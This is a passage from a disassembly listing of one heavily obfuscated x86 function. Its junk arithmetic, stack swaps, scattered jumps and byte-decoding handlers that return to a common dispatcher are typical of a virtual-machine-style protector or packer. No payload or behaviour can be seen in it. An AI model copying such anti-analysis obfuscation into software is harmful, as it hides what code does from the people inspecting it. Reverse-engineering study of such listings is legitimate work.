al pop eax jmp loc_58FC9F ; --------------------------------------------------------------------------- loc_58BF15: ; CODE XREF: sub_580566+B63Cj mov edi, 78423733h push ebp mov ebp, 718A7BCCh sub edi, ebp pop ebp shl edi, 8 sub edi, 0B7BB66FCh jmp loc_58E9DE ; --------------------------------------------------------------------------- loc_58BF31: ; CODE XREF: sub_580566+C0CAj inc edx and edx, 6C87219Eh jmp loc_5888AB ; --------------------------------------------------------------------------- loc_58BF3D: ; CODE XREF: sub_580566+BC29j mov esp, [esp-28h+arg_20] mov [esp-28h+arg_20], ebp mov ebp, 40000h and eax, ebp push [esp-28h+arg_20] pop ebp jmp loc_589FC2 ; --------------------------------------------------------------------------- loc_58BF53: ; CODE XREF: sub_580566+D8B5j mov ecx, [esp-28h+arg_20] add esp, 4 push cx push eax jmp loc_5854F9 ; --------------------------------------------------------------------------- loc_58BF64: ; CODE XREF: sub_580566+5793j add esp, 4 or eax, eax jz loc_588FB5 sub esp, 4 mov [esp+0], eax mov eax, 1Ch jmp loc_5878C0 ; --------------------------------------------------------------------------- loc_58BF82: ; CODE XREF: sub_580566+4128j xchg edi, [esp+0] pop esp mov [esp-14h+arg_A+2], edx jmp loc_589C0C ; --------------------------------------------------------------------------- loc_58BF8E: ; CODE XREF: sub_580566+F57Ej xchg edx, [esp-14h+arg_A+2] pop esp sub esp, 4 mov [esp-14h+arg_A+2], ebp jmp loc_584757 ; --------------------------------------------------------------------------- loc_58BFA0: ; CODE XREF: sub_580566+904Dj mov edx, 0E9655FAh sub edx, 5754278Bh not edx shr edx, 3 dec edx shr edx, 3 add edx, 408513E5h mov ebx, edx pop edx not ebx push edi mov edi, 0F3049FAh jmp loc_58E23B ; --------------------------------------------------------------------------- loc_58BFCA: ; CODE XREF: sub_580566+4CD6j sub al, bl add al, 0A3h sub al, 71h mov ebx, [esp+6+var_8+2] add esp, 4 shl al, 1 push ebx mov bh, 3Fh xor bh, 0E1h inc bh not bh shr bh, 1 sub bh, 0D6h xor al, bh jmp loc_58F2B5 ; --------------------------------------------------------------------------- loc_58BFEE: ; CODE XREF: sub_580566+58EFj xchg ecx, [esp-1Ch+arg_12+2] pop esp jmp loc_584D77 ; --------------------------------------------------------------------------- loc_58BFF7: ; CODE XREF: sub_580566+E374j add ebx, 4 sub ebx, 4 xchg ebx, [esp-20h+arg_16+2] mov esp, [esp-20h+arg_16+2] mov [esp-20h+arg_16+2], esi pop dword ptr [edi+24h] mov esi, [esp-24h+arg_1A+2] jmp loc_58CA48 ; --------------------------------------------------------------------------- loc_58C014: ; CODE XREF: sub_580566+CE4Cj add esp, 4 xor ebp, [esp-28h+arg_20] xor [esp-28h+arg_20], ebp xor ebp, [esp-28h+arg_20] pop esp mov cx, word ptr [esp-2Ch+arg_24] jmp loc_5866A4 ; --------------------------------------------------------------------------- loc_58C02A: ; CODE XREF: sub_580566+E305j or dh, al pop eax inc dh xor dh, 0AAh jmp loc_58448A ; --------------------------------------------------------------------------- loc_58C037: ; CODE XREF: sub_580566+BF4Fj add eax, 4 sub eax, 4 xor eax, [esp-30h+arg_28] xor [esp-30h+arg_28], eax xor eax, [esp-30h+arg_28] pop esp jmp loc_589BBB ; --------------------------------------------------------------------------- loc_58C050: ; CODE XREF: sub_580566+E921j add eax, 7D3BFC87h sub edi, 3F4E327Ch jmp loc_58D626 ; --------------------------------------------------------------------------- loc_58C060: ; CODE XREF: sub_580566+9D56j sub esp, 4 mov [esp-1Eh+arg_16], ecx jmp loc_588429 ; --------------------------------------------------------------------------- loc_58C06E: ; CODE XREF: sub_580566+66FEj mov esi, 4 jmp loc_58B3A6 ; --------------------------------------------------------------------------- loc_58C078: ; CODE XREF: sub_580566+5FDDj mov esp, [esp-18h+arg_E+2] mov [esp-18h+arg_E+2], esp add [esp-18h+arg_E+2], 4 jmp loc_584473 ; --------------------------------------------------------------------------- loc_58C087: ; CODE XREF: sub_580566+8DF4j xor [esp+8+var_8], edx xor edx, [esp+8+var_8] pop esp push 161Dh mov [esp+8+var_8], ebp mov ebp, esp jmp loc_58918E ; --------------------------------------------------------------------------- loc_58C09D: ; CODE XREF: sub_580566+54BDj add ebp, 4 xchg ebp, [esp+0] pop esp add al, bl push small 44BAh mov word ptr [esp-12h+arg_A], cx mov cl, 0EDh add al, 59h jmp loc_58E9C1 ; --------------------------------------------------------------------------- push esi push ecx jmp loc_587818 ; --------------------------------------------------------------------------- loc_58C0BE: ; CODE XREF: sub_580566+5EAFj add ecx, esi add ecx, 5D7B3690h pop esi xchg ecx, [esp+10h+var_10] pop esp shr eax, 0Eh xor eax, ecx sub esp, 4 jmp loc_585582 ; --------------------------------------------------------------------------- loc_58C0DB: ; CODE XREF: sub_580566+E7BAj add bl, al jmp loc_58C4E7 ; --------------------------------------------------------------------------- loc_58C0E2: ; CODE XREF: sub_580566+F591j mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp+10h+var_10] xor [esp+10h+var_10], ecx xor ecx, [esp+10h+var_10] pop esp push edx push ebp mov ebp, 19F76686h xor ebp, 64B06EACh push ebx jmp loc_58CF41 ; --------------------------------------------------------------------------- loc_58C10A: ; CODE XREF: sub_580566+B191j pop esp ror byte ptr [esp-2Ch+arg_24], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58C114: ; CODE XREF: sub_580566+D0ACj pop esp xor bl, al movzx eax, al pop dword ptr [edi+eax*4] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58C122: ; CODE XREF: sub_580566+85FEj mov edi, 51202FAFh jmp loc_586BE1 ; --------------------------------------------------------------------------- loc_58C12C: ; DATA XREF: sub_580566+3D26o lodsb xor al, bl push 7284h mov [esp-2Ch+arg_24], ecx push ax mov ah, 36h jmp loc_590265 ; --------------------------------------------------------------------------- loc_58C140: ; CODE XREF: sub_580566+CF23j sub ebp, 0F0E0A7Ah jmp loc_59039B ; --------------------------------------------------------------------------- loc_58C14B: ; CODE XREF: sub_580566+654Dj add bh, 75h or dl, bh pop ebx add dl, 88h jmp loc_58ACDB ; --------------------------------------------------------------------------- loc_58C159: ; CODE XREF: sub_580566+B378j push eax mov eax, 329B53D9h add ebx, eax pop eax pop small word ptr [eax] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58C16A: ; CODE XREF: sub_580566+EF6Cj xor edx, [esp-32h+arg_28+2] pop esp add edx, 4 jmp loc_58E03A ; --------------------------------------------------------------------------- loc_58C179: ; CODE XREF: sub_580566+8942j mov edi, [esp-22h+arg_1A] add esp, 4 push edx push esi pop edx mov eax, edx jmp loc_584B48 ; --------------------------------------------------------------------------- loc_58C189: ; CODE XREF: sub_580566+45F4j sub ecx, 4 xchg ecx, [esp-32h+arg_28+2] jmp loc_58BF3D ; --------------------------------------------------------------------------- loc_58C194: ; CODE XREF: sub_580566+91B5j push edi jmp loc_58EB32 ; --------------------------------------------------------------------------- loc_58C19A: ; CODE XREF: sub_580566+F156j push ecx push esp pop ecx push ebx mov ebx, 4 add ecx, ebx jmp loc_5848F8 ; --------------------------------------------------------------------------- loc_58C1AA: ; CODE XREF: sub_580566+6F68j pop esi pop [esp-28h+arg_20] jmp loc_59032F ; --------------------------------------------------------------------------- loc_58C1B3: ; CODE XREF: sub_580566+AF3Bj sub esp, 4 mov [esp-8+arg_4], ecx mov ecx, 20BE2BC3h or edi, ecx pop ecx and edi, 5C0C628Dh xor edi, 38D807CBh sub edi, 6391171h sub ebx, edi pop edi add ebx, 154E17D4h jmp loc_58B8D6 ; --------------------------------------------------------------------------- loc_58C1E1: ; CODE XREF: sub_580566+4C64j mov esi, [esp+2+var_4+2] add esp, 4 and esi, 65137351h not esi add esi, 3A070306h jmp loc_58C257 ; --------------------------------------------------------------------------- loc_58C1FA: ; CODE XREF: sub_580566+C019j push ecx push edi jmp loc_58E195 ; --------------------------------------------------------------------------- loc_58C201: ; CODE XREF: sub_580566+AC12j pop esp add edi, 4 jmp loc_5852ED ; --------------------------------------------------------------------------- loc_58C20D: ; CODE XREF: sub_580566+DE3Ej sub [edi+20h], ebp jmp loc_58D82C ; --------------------------------------------------------------------------- loc_58C215: ; CODE XREF: sub_580566+7389j push edx mov dh, 91h sub bl, dh pop edx jmp loc_5851E5 ; --------------------------------------------------------------------------- loc_58C220: ; CODE XREF: sub_580566+715Cj pop edi push ebp push eax mov eax, 4 sub esp, 4 mov [esp+8+var_8], ecx mov ecx, eax mov ebp, ecx pop ecx jmp loc_586347 ; --------------------------------------------------------------------------- loc_58C23B: ; CODE XREF: sub_580566+F021j xor [esp+4+var_4], edi jmp loc_58504A ; --------------------------------------------------------------------------- loc_58C243: ; CODE XREF: sub_580566+7843j sub eax, edi jmp loc_58CA02 ; --------------------------------------------------------------------------- loc_58C24A: ; CODE XREF: sub_580566+47B6j push 3FECh mov [esp-18h+arg_E+2], eax jmp loc_587A32 ; --------------------------------------------------------------------------- loc_58C257: ; CODE XREF: sub_580566+BC8Fj sub esi, 8742B7BCh jmp loc_58760F ; --------------------------------------------------------------------------- loc_58C262: ; CODE XREF: sub_580566+6A57j xchg ebp, edx not ebp jmp loc_58D159 ; --------------------------------------------------------------------------- loc_58C26B: ; CODE XREF: sub_580566+C0BFj pop ecx add edi, 2 xor edi, [esp-14h+arg_A+2] jmp loc_58DEF7 ; --------------------------------------------------------------------------- loc_58C27A: ; CODE XREF: sub_580566+BF8Fj sub edx, 6F70AB5h shr edx, 1 add edx, 0A6B126BFh add eax, 2A5C2A1Eh add eax, edx jmp loc_58FAB7 ; --------------------------------------------------------------------------- loc_58C294: ; CODE XREF: sub_580566+8BCDj add edx, 6BE43D75h sub edx, 3E322013h jmp loc_584473 ; --------------------------------------------------------------------------- loc_58C2A5: ; CODE XREF: sub_580566+A13Bj push ebp jmp loc_58DBA9 ; --------------------------------------------------------------------------- loc_58C2AB: ; CODE XREF: sub_580566+5E57j mov ebx, 6B4F36C1h jmp loc_58F87D ; --------------------------------------------------------------------------- loc_58C2B5: ; CODE XREF: sub_580566+B8A2j mov ecx, 1AB20107h push edx mov edx, 5237E8Fh sub ecx, edx pop edx shr ecx, 6 add ecx, 4FE50201h add ecx, 0CD81D276h add ebx, ecx pop ecx mov ecx, ebx pop ebx add eax, 69576658h add eax, ecx push esi jmp loc_584516 ; --------------------------------------------------------------------------- loc_58C2E5: ; CODE XREF: sub_580566+C47Ej xchg esi, [esp-1Ch+arg_12+2] mov esp, [esp-1Ch+arg_12+2] push edx mov dh, 1Ah shr dh, 8 inc dh push 0 sub byte ptr [esp-14h+arg_A+2], dh mov dh, byte ptr [esp-14h+arg_A+2] push ebx jmp loc_58D825 ; --------------------------------------------------------------------------- loc_58C304: ; CODE XREF: sub_580566+4DE2j pop esi sub esp, 4 mov [esp+0Ah+var_C+2], eax mov eax, 2 add ebx, eax pop eax push ebx push [esp+0Ah+var_8+2] pop ebx pop [esp+0Ah+var_C+2] mov esp, [esp+6+var_8+2] jmp loc_58A426 ; --------------------------------------------------------------------------- loc_58C324: ; CODE XREF: sub_580566+E9FFj shl edx, 1 push edi mov edi, esp jmp loc_58F3DC ; --------------------------------------------------------------------------- loc_58C32E: ; CODE XREF: sub_580566+3F77j pop edi pop dword ptr [esp] mov esp, [esp-14h+arg_A+2] add word ptr [esp-14h+arg_A+2], ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58C33F: ; CODE XREF: sub_580566+D713j mov ebp, 2 add esi, 602B0EF5h add esi, ebp sub esi, 602B0EF5h push dword ptr [esp] jmp loc_58DC21 ; --------------------------------------------------------------------------- loc_58C35A: ; CODE XREF: sub_580566+CDAFj sub ebx, ecx jmp loc_585EBA ; --------------------------------------------------------------------------- mov cx, word ptr [esp-0Ch+arg_8] push edi mov edi, esp push ebp push esi mov esi, 2AD96BABh or esi, 757D773Ch jmp loc_58EC8A ; --------------------------------------------------------------------------- loc_58C37A: ; CODE XREF: sub_580566+5BFEj mov edx, 0FEh and [edi+1Ch], edx push [esp-2Ch+arg_24] jmp loc_58975F ; --------------------------------------------------------------------------- loc_58C38A: ; CODE XREF: sub_580566+E106j and edi, ebx pop ebx push edi jmp loc_586BF5 ; --------------------------------------------------------------------------- loc_58C393: ; CODE XREF: sub_580566+B9A0j push dword ptr [edi+eax*4] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58C39B: ; CODE XREF: sub_580566+ABECj add ebp, eax pop eax jmp loc_5861AF ; --------------------------------------------------------------------------- loc_58C3A3: ; CODE XREF: sub_580566+5286j add esp, 4 push ebx mov bl, 1Eh dec bl shr bl, 7 dec bl sub bl, 0FBh or bl, 0DCh sub bl, 84h add al, bl jmp loc_588504 ; --------------------------------------------------------------------------- loc_58C3C0: ; CODE XREF: sub_580566+63FDj mov [esp-34h+arg_2C], ebp mov ebp, 4AC50865h jmp loc_585B1F ; --------------------------------------------------------------------------- loc_58C3CD: ; CODE XREF: sub_580566+F923j xchg ebx, [esp-34h+arg_2C] jmp loc_58CA60 ; --------------------------------------------------------------------------- loc_58C3D5: ; CODE XREF: sub_580566+898Bj mov esi, [esp-32h+arg_28+2] add esp, 4 add esp, 4 or eax, eax jz loc_5872F8 push dword ptr [edi+1Ch] push 497Ch jmp loc_590613 ; --------------------------------------------------------------------------- loc_58C3F9: ; CODE XREF: sub_580566+8DDEj mov edx, [esp+8+var_8] add esp, 4 add esp, 4 jmp loc_58F05A ; --------------------------------------------------------------------------- loc_58C407: ; CODE XREF: sub_580566+99E2j add al, 5 sub al, dh sub al, 5 push edx mov dh, 50h add dh, 29h or dh, 0C0h add dh, 7Ah add dh, 0B7h shl dh, 7 sub dh, 0AFh sub al, dh pop edx pop edx sub al, bl jmp loc_58ED70 ; --------------------------------------------------------------------------- loc_58C42D: ; CODE XREF: sub_580566+8EC8j add ebx, 4 push edx mov edx, esp add edx, 4 jmp loc_58EA8F ; --------------------------------------------------------------------------- loc_58C441: ; CODE XREF: sub_580566+5BDCj sub ebp, 293B257Fh dec ebp shr ebp, 1 or ebp, 662E7F2Ah jmp loc_589853 ; --------------------------------------------------------------------------- loc_58C455: ; CODE XREF: sub_580566+F261j or [edi+1Ch], ebx mov ebx, [esp-20h+arg_16+2] jmp loc_5865D4 ; --------------------------------------------------------------------------- loc_58C460: ; CODE XREF: sub_580566+D1AEj pop edi push ecx push eax mov eax, 2DC7623Bh mov ecx, eax pop eax jmp loc_584BDE ; --------------------------------------------------------------------------- loc_58C470: ; CODE XREF: sub_580566+B995j xor edi, [esp-0Eh+arg_8+2] pop esp mov [esp-12h+arg_A], eax jmp loc_586ECD ; --------------------------------------------------------------------------- loc_58C47C: ; CODE XREF: sub_580566+EA54j add esp, 4 mov ecx, [esp-16h+arg_E] add esp, 4 add dh, 14h xor al, dh pop edx jmp loc_58546D ; --------------------------------------------------------------------------- loc_58C490: ; DATA XREF: sub_580566+3D42o lodsb push ecx jmp loc_5869FB ; --------------------------------------------------------------------------- loc_58C497: ; CODE XREF: sub_580566+DE6Fj add esp, 4 jmp loc_58683D ; --------------------------------------------------------------------------- loc_58C4A2: ; DATA XREF: sub_580566+3CF6o lodsb push ebx mov bl, 6Fh push 5D7Bh mov [esp-24h+arg_1A+2], ecx jmp loc_58F69E ; --------------------------------------------------------------------------- loc_58C4B3: ; CODE XREF: sub_580566+51E7j push esp pop eax jmp loc_58C037 ; --------------------------------------------------------------------------- loc_58C4BA: ; CODE XREF: sub_580566+ABF4j pop esp mov [esp-24h+arg_1A+2], eax mov al, 0C5h jmp loc_587027 ; --------------------------------------------------------------------------- loc_58C4C5: ; CODE XREF: sub_580566+CFB9j xchg ebp, [esp-24h+arg_1A+2] pop esp push 73D6h mov [esp-24h+arg_1A+2], eax mov eax, esp add eax, 4 jmp loc_58E97E ; --------------------------------------------------------------------------- loc_58C4DD: ; CODE XREF: sub_580566+7263j mov edi, 4D949C2Ch jmp loc_58E7DF ; --------------------------------------------------------------------------- loc_58C4E7: ; CODE XREF: sub_580566+BB77j push 0EAh jmp loc_58D9DA ; --------------------------------------------------------------------------- loc_58C4F1: ; CODE XREF: sub_580566+7D0Ej neg edx inc edx dec edx jmp loc_58C27A ; --------------------------------------------------------------------------- loc_58C4FA: ; CODE XREF: sub_580566+7465j pop ebp sub esp, 4 mov [esp-2Ch+arg_24], edi mov edi, 54925683h xor edi, 67F40594h inc edi dec edi dec edi shl edi, 4 sub edi, 0C71B2EF5h jmp loc_5886FD ; --------------------------------------------------------------------------- loc_58C51D: ; CODE XREF: sub_580566+5A82j push edx mov edx, 4 jmp loc_58AB98 ; --------------------------------------------------------------------------- loc_58C528: ; CODE XREF: sub_580566+C656j and eax, 28D564F1h inc eax shl eax, 1 and eax, 57DD0D60h push edx mov edx, 528113D7h xor eax, edx pop edx xor edx, eax pop eax shr edx, 8 and edx, 78861E99h push ecx jmp loc_58B245 ; --------------------------------------------------------------------------- loc_58C550: ; CODE XREF: sub_580566+848Bj mov [esp+0], ax jmp loc_584473 ; --------------------------------------------------------------------------- loc_58C559: ; CODE XREF: sub_580566+A950j add esp, 4 sub eax, 65680CA5h push 7DCh mov [esp-0Ch+arg_8], ebx mov ebx, 23DFC6F4h xor eax, ebx push [esp-0Ch+arg_8] push [esp-8+arg_4] mov ebx, [esp+0] push edx mov edx, esp jmp loc_58C1FA ; --------------------------------------------------------------------------- loc_58C584: ; CODE XREF: sub_580566+DCD0j add ecx, 60A5F49h jmp loc_587065 ; --------------------------------------------------------------------------- loc_58C58F: ; CODE XREF: sub_580566+5023j not [esp-1Ch+arg_12+2] pop ebx push ebx push [esp-1Ch+arg_16+2] mov ebx, [esp-18h+arg_E+2] push edx sub esp, 4 mov [esp+0], esp add dword ptr [esp+0], 4 pop edx jmp loc_584EC0 ; --------------------------------------------------------------------------- loc_58C5AF: ; CODE XREF: sub_580566+49E8j push ebx pop edx mov ebx, [esp-46h+arg_3C+2] add esp, 4 sub ebx, 4B8A5D3Fh add ebx, edx add ebx, 4B8A5D3Fh pop edx jmp loc_58EC32 ; --------------------------------------------------------------------------- loc_58C5CB: ; CODE XREF: sub_580566+6297j push edi push ecx jmp loc_584630 ; --------------------------------------------------------------------------- loc_58C5D2: ; CODE XREF: sub_580566+E8B2j pop eax add bl, 66h sub dh, bl jmp loc_58B3EA ; --------------------------------------------------------------------------- loc_58C5DD: ; CODE XREF: sub_580566+8DABj pop esp sub esp, 4 mov [esp-2Ch+arg_24], edi sub esp, 4 jmp loc_58487C ; --------------------------------------------------------------------------- loc_58C5EF: ; CODE XREF: sub_580566+4CAEj or edx, eax shl edx, 1 jmp loc_589E33 ; --------------------------------------------------------------------------- loc_58C5F8: ; CODE XREF: sub_580566+4ADFj mov eax, [esp-2Ch+arg_24] add esp, 4 push edx jmp loc_584662 ; --------------------------------------------------------------------------- loc_58C607: ; CODE XREF: sub_580566+F27Fj add eax, 4 xchg eax, [esp-2Ch+arg_24] pop esp push 74Ah mov [esp-2Ch+arg_24], ecx mov ecx, 6E7E2D3Fh xor ecx, 6E7E2D3Bh add edi, ecx jmp loc_58C26B ; --------------------------------------------------------------------------- loc_58C62A: ; CODE XREF: sub_580566+F894j mov edx, 3BF77DAFh inc edx jmp loc_58BF31 ; --------------------------------------------------------------------------- loc_58C635: ; CODE XREF: sub_580566+538Ej add esp, 4 push eax push esp jmp loc_58F42F ; --------------------------------------------------------------------------- loc_58C63F: ; CODE XREF: sub_580566+6ABCj mov eax, esi pop esi pop ebx jmp loc_584473 ; --------------------------------------------------------------------------- loc_58C648: ; CODE XREF: sub_580566+9C4Dj push esi mov esi, 16C05750h add esi, 56FD0AD4h add eax, esi mov esi, [esp-28h+arg_20] add esp, 4 sub eax, edi sub eax, 6DBD6224h push [esp-2Ch+arg_24] pop edi push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-28h+arg_20] jmp loc_589C23 ; --------------------------------------------------------------------------- loc_58C67E: ; CODE XREF: sub_580566+B889j add ebx, 4 jmp loc_58D209 ; --------------------------------------------------------------------------- loc_58C689: ; CODE XREF: sub_580566+4B7Ej pop ecx push edi push esi push ecx jmp loc_58E165 ; --------------------------------------------------------------------------- loc_58C692: ; CODE XREF: sub_580566+4CA3j neg ecx shr ecx, 8 and ecx, 40DF1A10h sub ecx, 0A2EEF2AAh mov esi, ecx pop ecx and esi, 6CDC565Ah shr esi, 5 add esi, 4F816075h push ebx mov ebx, 51E56093h xor esi, ebx pop ebx sub eax, 77645282h push ebx mov ebx, 5FC7575Dh sub eax, ebx mov ebx, [esp+6+var_8+2] add esp, 4 add eax, esi add eax, 5FC7575Dh jmp loc_58F464 ; --------------------------------------------------------------------------- loc_58C6E0: ; CODE XREF: sub_580566+D27Cj pop edi sub esi, 7F161C74h add esi, eax add esi, 7F161C74h add esi, 417B4A06h push 0E89h jmp loc_589BFE ; --------------------------------------------------------------------------- loc_58C6FF: ; CODE XREF: sub_580566+9A9Bj push 78682E1Eh mov ebx, [esp-24h+arg_1A+2] add esp, 4 shr ebx, 3 sub ebx, 0A5CDD48Bh jmp loc_58AE8F ; --------------------------------------------------------------------------- loc_58C71B: ; CODE XREF: sub_580566+A7BEj sub esi, 6BEF2685h jmp loc_58F52D ; --------------------------------------------------------------------------- loc_58C726: ; CODE XREF: sub_580566+59CBj mov ebx, 2 add ecx, ebx pop ebx jmp loc_58FCC8 ; --------------------------------------------------------------------------- loc_58C733: ; CODE XREF: sub_580566+D2E9j sub eax, 0FFFFFFFFh xor eax, 0D3B0FC8h neg eax shr eax, 7 push ebx mov ebx, 7DE17615h sub eax, ebx pop ebx mov ebx, eax pop eax add ebx, 201227BFh add ebx, edi sub ebx, 201227BFh jmp loc_58D771 ; --------------------------------------------------------------------------- loc_58C761: ; CODE XREF: sub_580566+5CF5j mov ebx, 0 add ebx, ecx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+12h+var_14+2] pop esp mov [esp+0Eh+var_10+2], ecx mov cl, al mov [ebx], cl jmp loc_588A70 ; --------------------------------------------------------------------------- loc_58C784: ; CODE XREF: sub_580566+DA78j xchg ebp, [esp+0Eh+var_10+2] pop esp jmp loc_58A37C ; --------------------------------------------------------------------------- loc_58C78D: ; CODE XREF: sub_580566+D2FEj mov [esp+0Ah+var_C+2], ecx push [esp+0Ah+var_8+2] mov ecx, [esp+0Eh+var_10+2] jmp loc_58807D ; --------------------------------------------------------------------------- loc_58C79C: ; CODE XREF: sub_580566+43BAj mov ebx, esp push edi mov edi, 1B486B90h jmp loc_58F191 ; --------------------------------------------------------------------------- loc_58C7A9: ; CODE XREF: sub_580566+7167j push [esp-38h+arg_30] mov ebp, [esp-34h+arg_2C] add esp, 4 add esp, 4 add ebx, 4 xchg ebx, [esp-3Ch+arg_34] jmp loc_58F41D ; --------------------------------------------------------------------------- loc_58C7C9: ; CODE XREF: sub_580566+E068j push esp pop edi add edi, 4 add edi, 4 jmp loc_589C99 ; --------------------------------------------------------------------------- loc_58C7D9: ; CODE XREF: sub_580566+1003Dj add ch, 21h jmp loc_58855E ; --------------------------------------------------------------------------- loc_58C7E1: ; CODE XREF: sub_580566+3F9Cj add esp, 4 add esp, 4 push ebx jmp loc_588D93 ; --------------------------------------------------------------------------- loc_58C7F0: ; CODE XREF: sub_580566+F0D1j mov eax, [esp-28h+arg_20] jmp loc_586001 ; --------------------------------------------------------------------------- loc_58C7F8: ; CODE XREF: sub_580566+43A9j add esi, 4 jmp loc_58831B ; --------------------------------------------------------------------------- loc_58C803: ; CODE XREF: sub_580566+CF6Bj jmp loc_58853E ; --------------------------------------------------------------------------- loc_58C808: ; CODE XREF: sub_580566+A1FDj mov esi, [esp+4+var_4] push ecx jmp loc_5896AB ; --------------------------------------------------------------------------- loc_58C811: ; CODE XREF: sub_580566+966Fj mov ebx, edi jmp loc_58C98C ; --------------------------------------------------------------------------- loc_58C818: ; CODE XREF: sub_580566+554Cj add edx, 4 xchg edx, [esp-14h+arg_A+2] mov esp, [esp-14h+arg_A+2] push ebp mov ebp, esp push eax jmp loc_58B14D ; --------------------------------------------------------------------------- loc_58C82A: ; DATA XREF: sub_580566+3E1Ao lodsd push 5D60h mov [esp-2Ch+arg_24], edx mov edx, 3F51101Eh push 0 sub [esp-28h+arg_20], edx pop edx xor edx, 6DB727CAh sub edx, 34DD51B4h dec edx or edx, 321B2784h push esi mov esi, 0E810DE03h add edx, esi pop esi sub eax, edx mov edx, [esp-2Ch+arg_24] jmp loc_586548 ; --------------------------------------------------------------------------- loc_58C867: ; CODE XREF: sub_580566+F9DEj pop ebx sub esp, 4 mov [esp-2Ch+arg_24], edx jmp loc_587DB4 ; --------------------------------------------------------------------------- loc_58C876: ; CODE XREF: sub_580566+100E4j mov ch, 7Ch neg ch sub ch, 0F3h sub ch, 0B4h add ch, 1Fh add ch, 0E1h add bh, 0E0h add bh, ch sub bh, 0E0h pop ecx sub bh, cl sub bh, 0DDh jmp loc_586147 ; --------------------------------------------------------------------------- loc_58C899: ; CODE XREF: sub_580566+CED2j push eax push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp-2Ch+arg_24] jmp loc_585A08 ; --------------------------------------------------------------------------- loc_58C8AE: ; CODE XREF: sub_580566+75D4j shl ebp, 2 sub ebp, 0FB492CFCh mov edi, ebp pop ebp push esi mov esi, 46AE311Fh dec esi neg esi shr esi, 7 jmp loc_58B2B0 ; --------------------------------------------------------------------------- loc_58C8CB: ; CODE XREF: sub_580566+4E69j xor ecx, 0EF86EF8h not ecx sub ecx, 45A34F4Eh jmp loc_58E2B6 ; --------------------------------------------------------------------------- loc_58C8DE: ; CODE XREF: sub_580566+52B1j push [esp-22h+arg_1A] pop esi add esp, 4 push edx push esp jmp loc_588F9F ; --------------------------------------------------------------------------- loc_58C8EF: ; CODE XREF: sub_580566+A74Bj push 180Ch mov [esp+26h+var_28+2], eax jmp loc_584473 ; --------------------------------------------------------------------------- loc_58C8FC: ; CODE XREF: sub_580566+8C31j push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+8+var_8] jmp loc_58556F ; --------------------------------------------------------------------------- loc_58C913: ; CODE XREF: sub_580566+D861j not dx shr dx, 2 add dx, 0E9C8h push small 6316h mov word ptr [esp+0Ah+var_C+2], ax mov ax, 2A49h jmp loc_58482A ; --------------------------------------------------------------------------- loc_58C930: ; CODE XREF: sub_580566+987Cj push ebx mov ebx, 4F5D15BCh jmp loc_585FD7 ; --------------------------------------------------------------------------- loc_58C93B: ; CODE XREF: sub_580566+CD8Cj xchg ebx, [esp+4+var_4] mov esp, [esp+4+var_4] jmp loc_5868AA ; --------------------------------------------------------------------------- loc_58C946: ; CODE XREF: sub_580566+DC72j xor bh, 6Ah push eax jmp loc_58E53E ; --------------------------------------------------------------------------- loc_58C94F: ; CODE XREF: sub_580566+6718j push eax push 6B91h mov [esp+8+var_8], esi push 59386612h pop esi xor esi, 59386616h mov eax, esi pop esi add edx, eax pop eax xor edx, [esp+0] xor [esp+0], edx xor edx, [esp+0] pop esp push ecx mov ecx, esp jmp loc_588A8E ; --------------------------------------------------------------------------- loc_58C97C: ; CODE XREF: sub_580566+FB9Ej mov bh, 68h xor bh, ah pop eax sub bh, 5Fh push edx mov dl, 3 jmp loc_589541 ; --------------------------------------------------------------------------- loc_58C98C: ; CODE XREF: sub_580566+C2ADj pop edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp-2Eh+arg_24+2] pop esp mov [esp-32h+arg_28+2], edi mov edi, 0BDAF596Bh jmp loc_588A0B ; --------------------------------------------------------------------------- loc_58C9AA: ; CODE XREF: sub_580566+EF58j add esp, 4 jmp loc_589B6D ; --------------------------------------------------------------------------- loc_58C9B2: ; CODE XREF: sub_580566+E5E5j push edx push ecx mov ecx, 1CE2572Eh or ecx, 7C0C1269h not ecx sub ecx, 4D5C6E71h shl ecx, 4 add ecx, 0D2309038h jmp loc_58AFF6 ; --------------------------------------------------------------------------- loc_58C9D5: ; CODE XREF: sub_580566+9DCAj sub edx, 0BA3BE12h add esi, edx pop edx add esi, 4 jmp loc_58C2E5 ; --------------------------------------------------------------------------- loc_58C9E9: ; CODE XREF: sub_580566+D5DAj push ebp mov ebp, 203F44A6h add ebp, 3A4944A3h jmp loc_58D4F7 ; --------------------------------------------------------------------------- loc_58C9FA: ; CODE XREF: sub_580566+6FE9j and eax, ebp pop ebp jmp loc_58B907 ; --------------------------------------------------------------------------- loc_58CA02: ; CODE XREF: sub_580566+BCDFj pop edi jmp loc_58F2AD ; --------------------------------------------------------------------------- loc_58CA08: ; CODE XREF: sub_580566+7921j pop ecx not ecx shr ecx, 3 sub ecx, 0FFFFFFFFh push esi jmp loc_589F14 ; --------------------------------------------------------------------------- push [esp-6+arg_4+2] push dword ptr [esp+0] pop eax sub esp, 4 mov [esp+2+var_4+2], ecx sub esp, 4 mov [esp+6+var_8+2], esp add [esp+6+var_8+2], 4 pop ecx jmp loc_586150 ; --------------------------------------------------------------------------- loc_58CA41: ; CODE XREF: sub_580566+10153j xor ebx, ecx jmp loc_58D308 ; --------------------------------------------------------------------------- loc_58CA48: ; CODE XREF: sub_580566+BAA9j add esp, 4 push edx mov edx, 597F0928h jmp loc_589AAF ; --------------------------------------------------------------------------- loc_58CA56: ; CODE XREF: sub_580566+E26Fj xor eax, ebx mov ebx, [esp-24h+arg_1A+2] jmp loc_589CA4 ; --------------------------------------------------------------------------- loc_58CA60: ; CODE XREF: sub_580566+BE6Aj mov esp, [esp-34h+arg_2C] push [esp-34h+arg_2C] mov eax, [esp-30h+arg_28] add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 push edi push [esp-2Ch+arg_28] pop edi pop [esp-2Ch+arg_24] pop esp mov [esp-34h+arg_2C], ebp mov ebp, esp push esi mov esi, 472F1C77h xor esi, 472F1C73h add ebp, esi pop esi push ebx mov ebx, 4 add ebp, 46452BF1h add ebp, ebx jmp loc_58F21C ; 